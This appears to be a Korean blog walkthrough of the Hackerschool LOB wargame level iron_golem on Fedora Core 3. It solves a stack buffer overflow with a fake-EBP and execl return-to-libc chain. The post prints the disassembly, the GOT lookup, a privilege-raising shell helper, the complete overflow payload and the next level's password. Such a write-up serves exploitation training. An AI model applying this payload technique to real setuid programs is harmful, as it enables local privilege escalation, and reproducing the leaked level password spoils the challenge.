반응형

해커스쿨 LOB FC3 [gate -> iron_golem] 풀이


M4ndU




해커스쿨 LOB FC3 [gate -> iron_golem] 풀이입니다.


ID | gate

PW | gate


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.





[gate@Fedora_1stFloor ~]$ cat iron_golem.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - iron_golem

        - Local BOF on Fedora Core 3

        - hint : fake ebp

*/


int main(int argc, char *argv[])

{

    char buffer[256];


    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }


    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}


256바이트 크기의 buffer에 값을 저장한다.

이 버퍼를 오버플로우해서 쉘을 따면 된다.


그런데 페도라 코어 3에는 메모리 보호기법들이 있다.


Stack Dummy : O

Down privileage of bash : O

Random Stack : O

Random Library : X

Random Program Binary Mapped : X

ASCII Armor : O

Non-Executable Stack : O

Non-Executable Heap : O

Stack Carany : X

Stack Smashing Protector : X


이 것들을 고려해서 문제를 풀어야 한다.



hint에 fake ebp를 사용하라고 되어 있다.


execl함수를 사용하면 된다.

sfp에 execl의 매개변수의 주소를 넣어주고, ret에 execl함수주소를 넣어주는 형태가 될 것이다.

매개변수는 got영역을 이용한다.



gdb로 버퍼 구조를 살펴보자


[gate@Fedora_1stFloor ~]$ gdb iron_golem -q

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x080483d0 <main+0>:    push   ebp

0x080483d1 <main+1>:    mov    ebp,esp

0x080483d3 <main+3>:    sub    esp,0x108

0x080483d9 <main+9>:    and    esp,0xfffffff0

0x080483dc <main+12>:   mov    eax,0x0

0x080483e1 <main+17>:   add    eax,0xf

0x080483e4 <main+20>:   add    eax,0xf

0x080483e7 <main+23>:   shr    eax,0x4

0x080483ea <main+26>:   shl    eax,0x4

0x080483ed <main+29>:   sub    esp,eax

0x080483ef <main+31>:   cmp    DWORD PTR [ebp+8],0x1

0x080483f3 <main+35>:   jg     0x804840f <main+63>

0x080483f5 <main+37>:   sub    esp,0xc

0x080483f8 <main+40>:   push   0x8048524

0x080483fd <main+45>:   call   0x80482f8 <_init+56>

0x08048402 <main+50>:   add    esp,0x10

0x08048405 <main+53>:   sub    esp,0xc

0x08048408 <main+56>:   push   0x0

0x0804840a <main+58>:   call   0x8048308 <_init+72>

0x0804840f <main+63>:   sub    esp,0x8

0x08048412 <main+66>:   mov    eax,DWORD PTR [ebp+12]

0x08048415 <main+69>:   add    eax,0x4

0x08048418 <main+72>:   push   DWORD PTR [eax]

0x0804841a <main+74>:   lea    eax,[ebp-264]

0x08048420 <main+80>:   push   eax

0x08048421 <main+81>:   call   0x8048318 <_init+88>

0x08048426 <main+86>:   add    esp,0x10

0x08048429 <main+89>:   sub    esp,0x8

0x0804842c <main+92>:   lea    eax,[ebp-264]

0x08048432 <main+98>:   push   eax

0x08048433 <main+99>:   push   0x8048530

0x08048438 <main+104>:  call   0x80482f8 <_init+56>

0x0804843d <main+109>:  add    esp,0x10

0x08048440 <main+112>:  leave

0x08048441 <main+113>:  ret

End of assembler dump.



*main+3에서 \x108만큼 스택을 할당해준다. 이는 264바이트인데 위에서 256바이트를 선언했으므로 8바이트크기의 더미가 있음을 알 수 있다. 



낮은 주소


buffer[256]

dummy[8]

SFP[4]

RET[4]


높은 주소


이런 구조로 있을 것이다.

페이로드에 264바이트의 더미를 넣어주어야 한다.



이제 got주소를 구해보자


[gate@Fedora_1stFloor ~]$ readelf -S iron_golem

There are 28 section headers, starting at offset 0x840:


Section Headers:

  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al

  [ 0]                   NULL            00000000 000000 000000 00      0   0  0

  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1

  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4

  [ 3] .hash             HASH            08048148 000148 000034 04   A  4   0  4

  [ 4] .dynsym           DYNSYM          0804817c 00017c 000080 10   A  5   1  4

  [ 5] .dynstr           STRTAB          080481fc 0001fc 00006c 00   A  0   0  1

  [ 6] .gnu.version      VERSYM          08048268 000268 000010 02   A  4   0  2

  [ 7] .gnu.version_r    VERNEED         08048278 000278 000020 00   A  5   1  4

  [ 8] .rel.dyn          REL             08048298 000298 000008 08   A  4   0  4

  [ 9] .rel.plt          REL             080482a0 0002a0 000020 08   A  4  11  4

  [10] .init             PROGBITS        080482c0 0002c0 000017 00  AX  0   0  4

  [11] .plt              PROGBITS        080482d8 0002d8 000050 04  AX  0   0  4

  [12] .text             PROGBITS        08048328 000328 0001d8 00  AX  0   0  4

  [13] .fini             PROGBITS        08048500 000500 00001a 00  AX  0   0  4

  [14] .rodata           PROGBITS        0804851c 00051c 000018 00   A  0   0  4

  [15] .eh_frame         PROGBITS        08048534 000534 000004 00   A  0   0  4

  [16] .ctors            PROGBITS        08049538 000538 000008 00  WA  0   0  4

  [17] .dtors            PROGBITS        08049540 000540 000008 00  WA  0   0  4

  [18] .jcr              PROGBITS        08049548 000548 000004 00  WA  0   0  4

  [19] .dynamic          DYNAMIC         0804954c 00054c 0000c8 08  WA  5   0  4

  [20] .got              PROGBITS        08049614 000614 000004 04  WA  0   0  4

  [21] .got.plt          PROGBITS        08049618 000618 00001c 04  WA  0   0  4

  [22] .data             PROGBITS        08049634 000634 00000c 00  WA  0   0  4

  [23] .bss              NOBITS          08049640 000640 000004 00  WA  0   0  4

  [24] .comment          PROGBITS        00000000 000640 000126 00      0   0  1

  [25] .shstrtab         STRTAB          00000000 000766 0000d7 00      0   0  1

  [26] .symtab           SYMTAB          00000000 000ca0 000480 10     27  44  4

  [27] .strtab           STRTAB          00000000 001120 00025e 00      0   0  1


got 주소는 0x08049618이다.

[gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b *main
Breakpoint 1 at 0x80483d0
(gdb) r
Starting program: /home/gate/iron_golem
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x080483d0 in main ()
(gdb) x/8wx 0x08049618
0x8049618 <_GLOBAL_OFFSET_TABLE_>:      0x0804954c      0x007194f8      0x0070e9e00x00730d50
0x8049628 <_GLOBAL_OFFSET_TABLE_+16>:   0x080482fe      0x0804830e      0x0804831e0x00000000
(gdb) x/wx 0x0804954c
0x804954c <_DYNAMIC>:   0x00000001


got의 시작주소가 0x00000001를 가리키고 있다.


값이 간단하기 때문에 이 값을 쉘코드 파일의 이름으로 한다.

그리고 sfp에는 0x08049618 가 아니라 이 값에서 -8을 한 0x08049610 값을 넣는다. 

그 이유는 execl함수가 실행되고 ebp+8에 있는 값이 첫번째 인자로 넘어가기 때문이다.



[gate@Fedora_1stFloor ~]$ vi sh.c

[gate@Fedora_1stFloor ~]$ cat sh.c

#include <stdio.h>

#include <stdlib.h>


int main(void)

{

        setreuid(geteuid(),geteuid());

        setregid(getegid(),getegid());

        system("/bin/sh");

}



권한 상승후 쉘을 띄우는 코드를 짠다.

그 후 \x01이름으로 컴파일 한다.


[gate@Fedora_1stFloor ~]$ gcc -o `python -c 'print "\x01"'` sh.c



이제 execl함수의 주소를 구해보자


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) set disassembly-flavor intel
(gdb) b *main
Breakpoint 1 at 0x80483d0
(gdb) r
Starting program: /home/gate/iron_golem
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x080483d0 in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x7a5720 <execl>
(gdb) x/8i 0x7a5720
0x7a5720 <execl>:       push   ebp
0x7a5721 <execl+1>:     mov    ebp,esp
0x7a5723 <execl+3>:     lea    ecx,[ebp+16]
0x7a5726 <execl+6>:     push   edi
0x7a5727 <execl+7>:     push   esi
0x7a5728 <execl+8>:     push   ebx
0x7a5729 <execl+9>:     sub    esp,0x1038
0x7a572f <execl+15>:    mov    eax,DWORD PTR [ebp+12]



execl의 주소인 0x7a5720이 ret에 들어간다. 

그러나 매개변수를 넘겨주기 위해 ebp를 변조했기 때문에 ebp의 값을 바꾸는 '함수의 프롤로그' 과정을 생략한 0x7a5723이 들어가야 한다.


이제 정확한 페이로드를 구성해 보자


dummy[264] + 0x08049610 (got) + 0x7a5723 (execl)

 


[gate@Fedora_1stFloor ~]$ ./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz

sh-3.00$ my-pass

euid = 501

blood on the fedora

sh-3.00$



클리어!


반응형

+ Recent posts